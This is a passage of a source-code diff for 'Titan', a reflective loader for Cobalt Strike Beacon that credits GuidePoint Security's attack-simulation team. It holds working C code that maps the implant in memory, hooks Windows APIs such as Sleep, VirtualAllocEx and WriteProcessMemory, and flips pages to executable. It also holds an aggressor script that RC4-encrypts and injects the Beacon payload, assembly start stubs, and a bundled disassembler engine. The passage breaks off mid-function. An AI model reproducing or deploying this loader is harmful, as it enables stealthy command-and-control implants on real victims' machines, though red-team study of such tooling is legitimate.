     111 + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
     112 + 
     113 + if ( Dir->VirtualAddress ) {
     114 + /* Process Import Table */
     115 + LdrProcessIat( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ) );
     116 +
     117 + #if defined( _WIN64 )
     118 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x0e07cd7e, PTR_TO_HOOK( Mem, Sleep_Hook ) );
     119 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x84d15061, PTR_TO_HOOK( Mem, ReadFile_Hook ) );
     120 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xf1d207d0, PTR_TO_HOOK( Mem, WriteFile_Hook ) );
     121 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xfdb928e7, PTR_TO_HOOK( Mem, CloseHandle_Hook ) );
     122 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x436e4c62, PTR_TO_HOOK( Mem, ConnectNamedPipe_Hook ) );
     123 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xa05e2a6d, PTR_TO_HOOK( Mem, CreateNamedPipeA_Hook ) );
     124 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x0df1b3da, PTR_TO_HOOK( Mem, WaitForSingleObject_Hook ) );
     125 + #endif
     126 + 
     127 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x4b184b05, PTR_TO_HOOK( Mem, HeapFree_Hook ) );
     128 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xadc4062e, PTR_TO_HOOK( Mem, HeapAlloc_Hook ) );
     129 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xc165d757, PTR_TO_HOOK( Mem, ExitThread_Hook ) );
     130 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x8641aec0, PTR_TO_HOOK( Mem, DnsQuery_A_Hook ) );
     131 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x3a5fb425, PTR_TO_HOOK( Mem, HeapReAlloc_Hook ) );
     132 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x98baab11, PTR_TO_HOOK( Mem, CreateThread_Hook ) );
     133 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xdecfc1bf, PTR_TO_HOOK( Mem, GetProcAddress_Hook ) );
     134 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x5775bd54, PTR_TO_HOOK( Mem, VirtualAllocEx_Hook ) );
     135 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xfd1438ae, PTR_TO_HOOK( Mem, SetThreadContext_Hook ) );
     136 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x5b6b908a, PTR_TO_HOOK( Mem, VirtualProtectEx_Hook ) );
     137 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x5c3f8699, PTR_TO_HOOK( Mem, ReadProcessMemory_Hook ) );
     138 + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xb7930ae8, PTR_TO_HOOK( Mem, WriteProcessMemory_Hook ) );
     139 + };
     140 + 
     141 + /* Get a pointer to the relocation table */
     142 + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
     143 + 
     144 + if ( Dir->VirtualAddress ) {
     145 + /* Process Relocations */
     146 + LdrProcessRel( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), Nth->OptionalHeader.ImageBase );
     147 + };
     148 + 
     149 + /* Set Heap Parameters */
     150 + SLn = SLn + Sec->SizeOfRawData;
     151 + Tbl = C_PTR( PTR_TO_HOOK( Mem, Table ) );
     152 + 
     153 + if ( ( Tbl->Table = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( TABLE_HEAP ) ) ) != NULL ) {
     154 + 
     155 + /* Give information about image */
     156 + Tbl->Table->RxBuffer = U_PTR( Mem );
     157 + Tbl->Table->RxLength = U_PTR( SLn );
     158 + Tbl->Table->ImageLength = U_PTR( MLn );
     159 + 
     160 + /* Copy over the CLIENT_ID structure */
     161 + __builtin_memcpy( &Tbl->Table->ClientId, &NtCurrentTeb()->ClientId, sizeof( CLIENT_ID ) );
     162 + 
     163 + /* Initiliaze heap list header */
     164 + InitializeListHead( &Tbl->Table->HeapList );
     165 + 
     166 + /* Initialize pipe list header */
     167 + InitializeListHead( &Tbl->Table->PipeList );
     168 + 
     169 + /* Change Memory Protection. */
     170 + if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &Mem, &SLn, PAGE_EXECUTE_READ, &Prm ) ) ) {
     171 + /* Set the values we need! */
     172 + ELn = 0;
     173 + Aoe = Nth->OptionalHeader.AddressOfEntryPoint;
     174 + if ( NT_SUCCESS( Api.NtFreeVirtualMemory( NtCurrentProcess(), &Enc, &ELn, MEM_RELEASE ) ) ) {
     175 + /* Call the "PreMain" to ensure that the ReflectiveLoader is freed! */
     176 + ( ( __typeof__( PreMain ) * ) PTR_TO_HOOK( Mem, PreMain ) )( Map, Aoe );
     177 + };
     178 + };
     179 + };
     180 + };
     181 + };
     182 + return;
     183 +};
     184 + 
  • ■ ■ ■ ■ ■ ■
    Titan.cna
     1 +##
     2 +## Reflective Loader
     3 +##
     4 +## GuidePoint Security LLC
     5 +##
     6 +## Threat and Attack Simulation
     7 +##
     8 + 
     9 +import javax.crypto.spec.*;
     10 +import java.security.*;
     11 +import javax.crypto.*;
     12 + 
     13 +##
     14 +## Generates a random string ( @offsecginger )
     15 +##
     16 +sub random_string {
     17 + $limit = $1;
     18 + @random_str = @();
     19 + $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
     20 + for ($x = 0; $x < $limit; $x++) {
     21 + $n = rand(strlen($characters));
     22 + add(@random_str, charAt($characters, $n));
     23 + }
     24 + return join('', @random_str);
     25 +}
     26 + 
     27 +##
     28 +## Inserts titan into Beacon
     29 +##
     30 +set BEACON_RDLL_GENERATE {
     31 + 
     32 + ##
     33 + ## Open up titan.
     34 + ##
     35 + $hnd = openf( script_resource( "Titan.". $3 .".bin" ) );
     36 + $ldr = readb( $hnd, -1 );
     37 + closef( $hnd );
     38 + 
     39 + if ( strlen( $ldr ) == 0 ) {
     40 + ##
     41 + ## Titan was not compiled.
     42 + ##
     43 + warn( 'titan has not been compiled, using standard cobalt loader.' );
     44 + return $null;
     45 + };
     46 + 
     47 + $prf = data_query( "metadata" )["c2profile"];
     48 + if ( [ $prf getString: ".stage.sleep_mask" ] eq "true" ) {
     49 + if ( [ $prf getString: ".stage.obfuscate" ] eq "false" ) {
     50 + ##
     51 + ## We cannot use sleep_mask with Titan if obfuscate = False
     52 + ##
     53 + warn( 'titan cannot be used with sleep_mask if obfuscate is set to false' );
     54 + return $null;
     55 + };
     56 + };
     57 + 
     58 + ##
     59 + ## Ask questions about whether we need workstation
     60 + ## or other tweaks inserted into the payload on the
     61 + ## fly.
     62 + ##
     63 +
     64 + println( ' ___________________ _ __' );
     65 + println( '/_ __/ _/_ __/ _ | / |/ /' );
     66 + println( ' / / _/ / / / / __ |/ / ' );
     67 + println( '/_/ /___/ /_/ /_/ |_/_/|_/ ' );
     68 + println( '============================' );
     69 + println( 'Reflective Loader by Austin ' );
     70 + println( 'GuidePoint Security LLC' );
     71 + println( '============================' );
     72 + 
     73 + ##
     74 + ## Encrypt the incoming buffer with RC4. Then
     75 + ## we build a structure information titan of
     76 + ## the key.
     77 + ##
     78 + $str = random_string( "16" );
     79 + $cip = [ Cipher getInstance: "RC4" ];
     80 + $key = [ new SecretKeySpec: $str, "RC4" ];
     81 + [ $cip init: [ Cipher DECRYPT_MODE ], $key ];
     82 + $buf = [ $cip doFinal: $2 ];
     83 + $inf = pack( 'I+', strlen( $buf ) );
     84 + $inf .= $str . $buf;
     85 + 
     86 + println( "ARC4: ". $str );
     87 + println( "SIZE: ". strlen( $ldr . $inf ) );
     88 + 
     89 + ##
     90 + ## Return Information
     91 + ##
     92 + return $ldr . $inf;
     93 +};
     94 + 
     95 +##
     96 +## Size
     97 +##
     98 +set BEACON_RDLL_SIZE {
     99 + return "0";
     100 +};
     101 + 
  • ■ ■ ■ ■ ■ ■
    Titan.h
     1 +/**
     2 + *
     3 + * Reflective Loader
     4 + *
     5 + * GuidePoint Security LLC
     6 + *
     7 + * Threat and Attack Simulation
     8 + *
     9 +**/
     10 + 
     11 +#pragma once
     12 + 
     13 +/*!
     14 + *
     15 + * Purpose:
     16 + *
     17 + * Loads Beacon into memory and executes its
     18 + * entrypoint.
     19 + *
     20 +!*/
     21 + 
     22 +D_SEC( B ) VOID WINAPI Titan( VOID );
     23 + 
  • ■ ■ ■ ■ ■ ■
    asm/x64/GetIp.asm
     1 +;;
     2 +;; Reflective Loader
     3 +;;
     4 +;; GuidePoint Security LLC
     5 +;;
     6 +;; Threat and Attack Simulation
     7 +;;
     8 +[BITS 64]
     9 + 
     10 +;;
     11 +;; Export
     12 +;;
     13 +GLOBAL GetIp
     14 +GLOBAL Table
     15 + 
     16 +[SECTION .text$C]
     17 + 
     18 +Table:
     19 + ;;
     20 + ;; Arbitrary symbol to reference as
     21 + ;; start of hook pages
     22 + ;;
     23 + dq 0
     24 + 
     25 +[SECTION .text$F]
     26 + 
     27 +GetIp:
     28 + ;;
     29 + ;; Execute next instruction
     30 + ;;
     31 + call get_ret_ptr
     32 + 
     33 +get_ret_ptr:
     34 + ;;
     35 + ;; Pop address and sub diff
     36 + ;;
     37 + pop rax
     38 + sub rax, 5
     39 + ret
     40 + 
     41 + 
     42 +Leave:
     43 + db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E'
     44 + 
  • ■ ■ ■ ■ ■ ■
    asm/x64/Start.asm
     1 +;;
     2 +;; Reflective Loader
     3 +;;
     4 +;; GuidePoint Security LLC
     5 +;;
     6 +;; Threat and Attack Simulation
     7 +;;
     8 +[BITS 64]
     9 + 
     10 +;;
     11 +;; Import
     12 +;;
     13 +EXTERN Titan
     14 + 
     15 +;;
     16 +;; Export
     17 +;;
     18 +GLOBAL Start
     19 + 
     20 +[SECTION .text$A]
     21 + 
     22 +Start:
     23 + ;;
     24 + ;; Setup stack
     25 + ;;
     26 + push rsi
     27 + mov rsi, rsp
     28 + and rsp, 0FFFFFFFFFFFFFFF0h
     29 + 
     30 + ;;
     31 + ;; Execute Ldr
     32 + ;;
     33 + sub rsp, 020h
     34 + call Titan
     35 + 
     36 + ;;
     37 + ;; Cleanup stack
     38 + ;;
     39 + mov rsp, rsi
     40 + pop rsi
     41 + 
     42 + ;;
     43 + ;; Return
     44 + ;;
     45 + ret
     46 + 
  • ■ ■ ■ ■ ■ ■
    asm/x86/GetIp.asm
     1 +;;
     2 +;; Reflective Loader
     3 +;;
     4 +;; GuidePoint Security LLC
     5 +;;
     6 +;; Threat and Attack Simulation
     7 +;;
     8 +[BITS 32]
     9 + 
     10 +;;
     11 +;; Export
     12 +;;
     13 +GLOBAL _GetIp
     14 +GLOBAL _Table
     15 + 
     16 +[SECTION .text$C]
     17 + 
     18 +_Table:
     19 + ;;
     20 + ;; Arbitrary symbol to reference as
     21 + ;; start of hook pages
     22 + ;;
     23 + dd 0
     24 + 
     25 +[SECTION .text$F]
     26 + 
     27 +_GetIp:
     28 + ;;
     29 + ;; Execute next instruction
     30 + ;;
     31 + call _get_ret_ptr
     32 + 
     33 +_get_ret_ptr:
     34 + ;;
     35 + ;; Pop address and sub diff
     36 + ;;
     37 + pop eax
     38 + sub eax, 5
     39 + ret
     40 + 
     41 + 
     42 +_Leave:
     43 + db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E'
     44 + 
  • ■ ■ ■ ■ ■ ■
    asm/x86/Start.asm
     1 +;;
     2 +;; Reflective Loader
     3 +;;
     4 +;; GuidePoint Security LLC
     5 +;;
     6 +;; Threat and Attack Simulation
     7 +;;
     8 +[BITS 32]
     9 + 
     10 +;;
     11 +;; Import
     12 +;;
     13 +EXTERN _Titan
     14 + 
     15 +;;
     16 +;; Export
     17 +;;
     18 +GLOBAL _Start
     19 + 
     20 +[SECTION .text$A]
     21 + 
     22 +_Start:
     23 + ;;
     24 + ;; Setup stack
     25 + ;;
     26 + push ebp
     27 + mov ebp, esp
     28 + 
     29 + ;;
     30 + ;; Execute Ldr
     31 + ;;
     32 + call _Titan
     33 + 
     34 + ;;
     35 + ;; Cleanup stack
     36 + ;;
     37 + mov esp, ebp
     38 + pop ebp
     39 + 
     40 + ;;
     41 + ;; Return
     42 + ;;
     43 + ret
     44 + 
  • ■ ■ ■ ■ ■ ■
    hde/hde32.c
     1 +/*
     2 + * Hacker Disassembler Engine 32 C
     3 + * Copyright (c) 2008-2009, Vyacheslav Patkov.
     4 + * All rights reserved.
     5 + *
     6 + */
     7 + 
     8 +#if defined(_M_IX86) || defined(__i386__)
     9 + 
     10 +#include <string.h>
     11 +#include "hde32.h"
     12 +#include "table32.h"
     13 +#include "Common.h"
     14 + 
     15 +__attribute__(( section( ".text$E" ) )) unsigned int hde32_disasm(const void *code, hde32s *hs)
     16 +{
     17 + uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
     18 + uint8_t *ht = C_PTR( G_SYM( hde32_table ) ), m_mod, m_reg, m_rm, disp_size = 0;
     19 + 
     20 + memset(hs, 0, sizeof(hde32s));
     21 + 
     22 + for (x = 16; x; x--)
     23 + switch (c = *p++) {
     24 + case 0xf3:
     25 + hs->p_rep = c;
     26 + pref |= PRE_F3;
     27 + break;
     28 + case 0xf2:
     29 + hs->p_rep = c;
     30 + pref |= PRE_F2;
     31 + break;
     32 + case 0xf0:
     33 + hs->p_lock = c;
     34 + pref |= PRE_LOCK;
     35 + break;
     36 + case 0x26: case 0x2e: case 0x36:
     37 + case 0x3e: case 0x64: case 0x65:
     38 + hs->p_seg = c;
     39 + pref |= PRE_SEG;
     40 + break;
     41 + case 0x66:
     42 + hs->p_66 = c;
     43 + pref |= PRE_66;
     44 + break;
     45 + case 0x67:
     46 + hs->p_67 = c;
     47 + pref |= PRE_67;
     48 + break;
     49 + default:
     50 + goto pref_done;
     51 + }
     52 + pref_done:
     53 + 
     54 + hs->flags = (uint32_t)pref << 23;
     55 + 
     56 + if (!pref)
     57 + pref |= PRE_NONE;
     58 + 
     59 + if ((hs->opcode = c) == 0x0f) {
     60 + hs->opcode2 = c = *p++;
     61 + ht += DELTA_OPCODES;
     62 + } else if (c >= 0xa0 && c <= 0xa3) {
     63 + if (pref & PRE_67)
     64 + pref |= PRE_66;
     65 + else
     66 + pref &= ~PRE_66;
     67 + }
     68 + 
     69 + opcode = c;
     70 + cflags = ht[ht[opcode / 4] + (opcode % 4)];
     71 + 
     72 + if (cflags == C_ERROR) {
     73 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     74 + cflags = 0;
     75 + if ((opcode & -3) == 0x24)
     76 + cflags++;
     77 + }
     78 + 
     79 + x = 0;
     80 + if (cflags & C_GROUP) {
     81 + uint16_t t;
     82 + t = *(uint16_t *)(ht + (cflags & 0x7f));
     83 + cflags = (uint8_t)t;
     84 + x = (uint8_t)(t >> 8);
     85 + }
     86 + 
     87 + if (hs->opcode2) {
     88 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_PREFIXES;
     89 + if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
     90 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     91 + }
     92 + 
     93 + if (cflags & C_MODRM) {
     94 + hs->flags |= F_MODRM;
     95 + hs->modrm = c = *p++;
     96 + hs->modrm_mod = m_mod = c >> 6;
     97 + hs->modrm_rm = m_rm = c & 7;
     98 + hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
     99 + 
     100 + if (x && ((x << m_reg) & 0x80))
     101 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     102 + 
     103 + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
     104 + uint8_t t = opcode - 0xd9;
     105 + if (m_mod == 3) {
     106 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_FPU_MODRM + t*8;
     107 + t = ht[m_reg] << m_rm;
     108 + } else {
     109 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_FPU_REG;
     110 + t = ht[t] << m_reg;
     111 + }
     112 + if (t & 0x80)
     113 + hs->flags |= F_ERROR | F_ERROR_OPCODE;
     114 + }
     115 + 
     116 + if (pref & PRE_LOCK) {
     117 + if (m_mod == 3) {
     118 + hs->flags |= F_ERROR | F_ERROR_LOCK;
     119 + } else {
     120 + uint8_t *table_end, op = opcode;
     121 + if (hs->opcode2) {
     122 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_OP2_LOCK_OK;
     123 + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
     124 + } else {
     125 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_OP_LOCK_OK;
     126 + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
     127 + op &= -2;
     128 + }
     129 + for (; ht != table_end; ht++)
     130 + if (*ht++ == op) {
     131 + if (!((*ht << m_reg) & 0x80))
     132 + goto no_lock_error;
     133 + else
     134 + break;
     135 + }
     136 + hs->flags |= F_ERROR | F_ERROR_LOCK;
     137 + no_lock_error:
     138 + ;
     139 + }
     140 + }
     141 + 
     142 + if (hs->opcode2) {
     143 + switch (opcode) {
     144 + case 0x20: case 0x22:
     145 + m_mod = 3;
     146 + if (m_reg > 4 || m_reg == 1)
     147 + goto error_operand;
     148 + else
     149 + goto no_error_operand;
     150 + case 0x21: case 0x23:
     151 + m_mod = 3;
     152 + if (m_reg == 4 || m_reg == 5)
     153 + goto error_operand;
     154 + else
     155 + goto no_error_operand;
     156 + }
     157 + } else {
     158 + switch (opcode) {
     159 + case 0x8c:
     160 + if (m_reg > 5)
     161 + goto error_operand;
     162 + else
     163 + goto no_error_operand;
     164 + case 0x8e:
     165 + if (m_reg == 1 || m_reg > 5)
     166 + goto error_operand;
     167 + else
     168 + goto no_error_operand;
     169 + }
     170 + }
     171 + 
     172 + if (m_mod == 3) {
     173 + uint8_t *table_end;
     174 + if (hs->opcode2) {
     175 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_OP2_ONLY_MEM;
     176 + table_end = ht + sizeof( hde32_table ) - DELTA_OP2_ONLY_MEM;
     177 + } else {
     178 + ht = C_PTR( G_SYM( hde32_table ) ) + DELTA_OP_ONLY_MEM;
     179 + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
     180 + }
     181 + for (; ht != table_end; ht += 2)
     182 + if (*ht++ == opcode) {
     183 + if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
     184 + goto error_operand;
     185 + else
     186 + break;
     187 + }
     188 + goto no_error_operand;
     189 + } else if (hs->opcode2) {
     190 + switch (opcode) {
     191 + case 0x50: case 0xd7: case 0xf7:
     192 + if (pref & (PRE_NONE | PRE_66))
     193 + goto error_operand;
     194 + break;
     195 + case 0xd6:
     196 + if (pref & (PRE_F2 | PRE_F3))
     197 + goto error_operand;
     198 + break;
     199 + case 0xc5:
     200 + goto error_operand;
     201 + }
     202 + goto no_error_operand;
     203 + } else
     204 + goto no_error_operand;
     205 + 
     206 + error_operand:
     207 + hs->flags |= F_ERROR | F_ERROR_OPERAND;
     208 + no_error_operand:
     209 + 
     210 + c = *p++;
     211 + if (m_reg <= 1) {
     212 + if (opcode == 0xf6)
     213 + cflags |= C_IMM8;
     214 + else if (opcode == 0xf7)
     215 + cflags |= C_IMM_P66;
     216 + }
     217 + 
     218 + switch (m_mod) {
     219 + case 0:
     220 + if (pref & PRE_67) {
     221 + if (m_rm == 6)
     222 + disp_size = 2;
     223 + } else
     224 + if (m_rm == 5)
     225 + disp_size = 4;
     226 + break;
     227 + case 1:
     228 + disp_size = 1;
     229 + break;
     230 + case 2:
     231 + disp_size = 2;
     232 + if (!(pref & PRE_67))
     233 + disp_size <<= 1;
     234 + break;
     235 + }
     236 + 
     237 + if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
     238 + hs->flags |= F_SIB;
     239 + p++;
     240 + hs->sib = c;
     241 + hs->sib_scale = c >> 6;
     242 + hs->sib_index = (c & 0x3f) >> 3;
     243 + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
     244 + disp_size = 4;
     245 + }
     246 + 
     247 + p--;
     248 + switch (disp_size) {
     249 + case 1:
     250 + hs->flags |= F_DISP8;
     251 + hs->disp.disp8 = *p;
     252 + break;
     253 + case 2:
     254 + hs->flags |= F_DISP16;
     255 + hs->disp.disp16 = *(uint16_t *)p;
     256 + break;
     257 + case 4:
     258 + hs->flags |= F_DISP32;
     259 + hs->disp.disp32 = *(uint32_t *)p;
     260 + break;
     261 + }
     262 + p += disp_size;
     263 + } else if (pref & PRE_LOCK)
     264 + hs->flags |= F_ERROR | F_ERROR_LOCK;
     265 + 
     266 + if (cflags & C_IMM_P66) {
     267 + if (cflags & C_REL32) {
     268 + if (pref & PRE_66) {
     269 + hs->flags |= F_IMM16 | F_RELATIVE;
     270 + hs->imm.imm16 = *(uint16_t *)p;
     271 + p += 2;
     272 + goto disasm_done;
     273 + }
     274 + goto rel32_ok;
     275 + }
     276 + if (pref & PRE_66) {
     277 + hs->flags |= F_IMM16;
     278 + hs->imm.imm16 = *(uint16_t *)p;
     279 + p += 2;
     280 + } else {
     281 + hs->flags |= F_IMM32;
     282 + hs->imm.imm32 = *(uint32_t *)p;
     283 + p += 4;
     284 + }
     285 + }
     286 + 
     287 + if (cflags & C_IMM16) {
     288 + if (hs->flags & F_IMM32) {
     289 + hs->flags |= F_IMM16;
     290 + hs->disp.disp16 = *(uint16_t *)p;
     291 + } else if (hs->flags & F_IMM16) {
     292 + hs->flags |= F_2IMM16;
     293 + hs->disp.disp16 = *(uint16_t *)p;
     294 + } else {
     295 + hs->flags |= F_IMM16;
     296 + hs->imm.imm16 = *(uint16_t *)p;
     297 + }
     298 + p += 2;
     299 + }
     300 + if (cflags & C_IMM8) {
     301 + hs->flags |= F_IMM8;
     302 + hs->imm.imm8 = *p++;
     303 + }
     304 + 
     305 + if (cflags & C_REL32) {
     306 + rel32_ok:
     307 + hs->flags |= F_IMM32 | F_RELATIVE;
     308 + hs->imm.imm32 = *(uint32_t *)p;
     309 + p += 4;
     310 + } else if (cflags & C_REL8) {
     311 + hs->flags |= F_IMM8 | F_RELATIVE;
     312 + hs->imm.imm8 = *p++;
     313 + }
     314 + 
     315 + disasm_done:
     316 + 
     317 + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
     318 + hs->flags |= F_ERROR | F_ERROR_LENGTH;
     319 + hs->len = 15;
     320 + }
     321 + 
     322 + return (unsigned int)hs->len;
     323 +}
     324 + 
     325 +#endif // defined(_M_IX86) || defined(__i386__)
     326 + 
  • ■ ■ ■ ■ ■ ■
    hde/hde32.h
     1 +/*
     2 + * Hacker Disassembler Engine 32
     3 + * Copyright (c) 2006-2009, Vyacheslav Patkov.
     4 + * All rights reserved.
     5 + *
     6 + * hde32.h: C/C++ header file
     7 + *
     8 + */
     9 + 
     10 +#ifndef _HDE32_H_
     11 +#define _HDE32_H_
     12 + 
     13 +/* stdint.h - C99 standard header
     14 + * http://en.wikipedia.org/wiki/stdint.h
     15 + *
     16 + * if your compiler doesn't contain "stdint.h" header (for
     17 + * example, Microsoft Visual C++), you can download file:
     18 + * http://www.azillionmonkeys.com/qed/pstdint.h
     19 + * and change next line to:
     20 + * #include "pstdint.h"
     21 + */
     22 +#include "pstdint.h"
     23 + 
     24 +#define F_MODRM 0x00000001
     25 +#define F_SIB 0x00000002
     26 +#define F_IMM8 0x00000004
     27 +#define F_IMM16 0x00000008
     28 +#define F_IMM32 0x00000010
     29 +#define F_DISP8 0x00000020
     30 +#define F_DISP16 0x00000040
     31 +#define F_DISP32 0x00000080
     32 +#define F_RELATIVE 0x00000100
     33 +#define F_2IMM16 0x00000800
     34 +#define F_ERROR 0x00001000
     35 +#define F_ERROR_OPCODE 0x00002000
     36 +#define F_ERROR_LENGTH 0x00004000
     37 +#define F_ERROR_LOCK 0x00008000
     38 +#define F_ERROR_OPERAND 0x00010000
     39 +#define F_PREFIX_REPNZ 0x01000000
     40 +#define F_PREFIX_REPX 0x02000000
     41 +#define F_PREFIX_REP 0x03000000
     42 +#define F_PREFIX_66 0x04000000
     43 +#define F_PREFIX_67 0x08000000
     44 +#define F_PREFIX_LOCK 0x10000000
     45 +#define F_PREFIX_SEG 0x20000000
     46 +#define F_PREFIX_ANY 0x3f000000
     47 + 
     48 +#define PREFIX_SEGMENT_CS 0x2e
     49 +#define PREFIX_SEGMENT_SS 0x36
     50 +#define PREFIX_SEGMENT_DS 0x3e
     51 +#define PREFIX_SEGMENT_ES 0x26
     52 +#define PREFIX_SEGMENT_FS 0x64
     53 +#define PREFIX_SEGMENT_GS 0x65
     54 +#define PREFIX_LOCK 0xf0
     55 +#define PREFIX_REPNZ 0xf2
     56 +#define PREFIX_REPX 0xf3
     57 +#define PREFIX_OPERAND_SIZE 0x66
     58 +#define PREFIX_ADDRESS_SIZE 0x67
     59 + 
     60 +#pragma pack(push,1)
     61 + 
     62 +typedef struct {
     63 + uint8_t len;
     64 + uint8_t p_rep;
     65 + uint8_t p_lock;
     66 + uint8_t p_seg;
     67 + uint8_t p_66;
     68 + uint8_t p_67;
     69 + uint8_t opcode;
     70 + uint8_t opcode2;
     71 + uint8_t modrm;
     72 + uint8_t modrm_mod;
     73 + uint8_t modrm_reg;
     74 + uint8_t modrm_rm;
     75 + uint8_t sib;
     76 + uint8_t sib_scale;
     77 + uint8_t sib_index;
     78 + uint8_t sib_base;
     79 + union {
     80 + uint8_t imm8;
     81 + uint16_t imm16;
     82 + uint32_t imm32;
     83 + } imm;
     84 + union {
     85 + uint8_t disp8;
     86 + uint16_t disp16;
     87 + uint32_t disp32;
     88 + } disp;
     89 + uint32_t flags;
     90 +} hde32s;
     91 + 
     92 +#pragma pack(pop)
     93 + 
     94 +#ifdef __cplusplus
     95 +extern "C" {
     96 +#endif
     97 + 
     98 +/* __cdecl */
     99 +__attribute__(( section( ".text$E" ) )) unsigned int hde32_disasm(const void *code, hde32s *hs);
     100 + 
     101 +#ifdef __cplusplus
     102 +}
     103 +#endif
     104 + 
     105 +#endif /* _HDE32_H_ */
     106 + 
  • ■ ■ ■ ■ ■ ■
    hde/hde64.c
     1 +/*
     2 + * Hacker Disassembler Engine 64 C
     3 + * Copyright (c) 2008-2009, Vyacheslav Patkov.
     4 + * All rights reserved.
     5 + *
     6 + */
     7 + 
     8 +#if defined(_M_X64) || defined(__x86_64__)
     9 + 
     10 +#include <string.h>
     11 +#include "hde64.h"
     12 +#include "table64.h"
     13 +#include "Common.h"
     14 + 
     15 +__attribute__(( section( ".text$E" ) )) unsigned int hde64_disasm(const void *code, hde64s *hs)
     16 +{
     17 + uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
     18 + uint8_t *ht = C_PTR( G_SYM( hde64_table ) ), m_mod, m_reg, m_rm, disp_size = 0;
     19 + uint8_t op64 = 0;
     20 + 
     21 + memset(hs, 0, sizeof(hde64s));
     22 + 
     23 + for (x = 16; x; x--)
     24 + switch (c = *p++) {
     25 + case 0xf3:
     26 + hs->p_rep = c;
     27 + pref |= PRE_F3;
     28 + break;
     29 + case 0xf2:
     30 + hs->p_rep = c;
     31 + pref |= PRE_F2;
     32 + break;
     33 + case 0xf0:
     34 + hs->p_lock = c;
     35 + pref |= PRE_LOCK;
     36 + break;
     37 + case 0x26: case 0x2e: case 0x36:
     38 + case 0x3e: case 0x64: case 0x65:
     39 + hs->p_seg = c;
     40 + pref |= PRE_SEG;
     41 + break;
     42 + case 0x66:
     43 + hs->p_66 = c;
     44 + pref |= PRE_66;
     45 + break;
     46 + case 0x67:
     47 + hs->p_67 = c;
     48 + pref |= PRE_67;
     49 + break;
     50 + default:
     51 + goto pref_done;
     52 + }
     53 + pref_done:
     54 + 
     55 + hs->flags = (uint32_t)pref << 23;
     56 + 
     57 + if (!pref)
     58 + pref |= PRE_NONE;
     59 + 
     60 + if ((c & 0xf0) == 0x40) {
     61 + hs->flags |= F_PREFIX_REX;
     62 + if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
     63 + op64++;
     64 + hs->rex_r = (c & 7) >> 2;
     65 + hs->rex_x = (c & 3) >> 1;
     66 + hs->rex_b = c & 1;
     67 + if (((c = *p++) & 0xf0) == 0x40) {
     68 + opcode = c;
     69 + goto error_opcode;
     70 + }
     71 + }
     72 + 
     73 + if ((hs->opcode = c) == 0x0f) {
     74 + hs->opcode2 = c = *p++;
     75 + ht += DELTA_OPCODES;
     76 + } else if (c >= 0xa0 && c <= 0xa3) {
     77 + op64++;
     78 + if (pref & PRE_67)
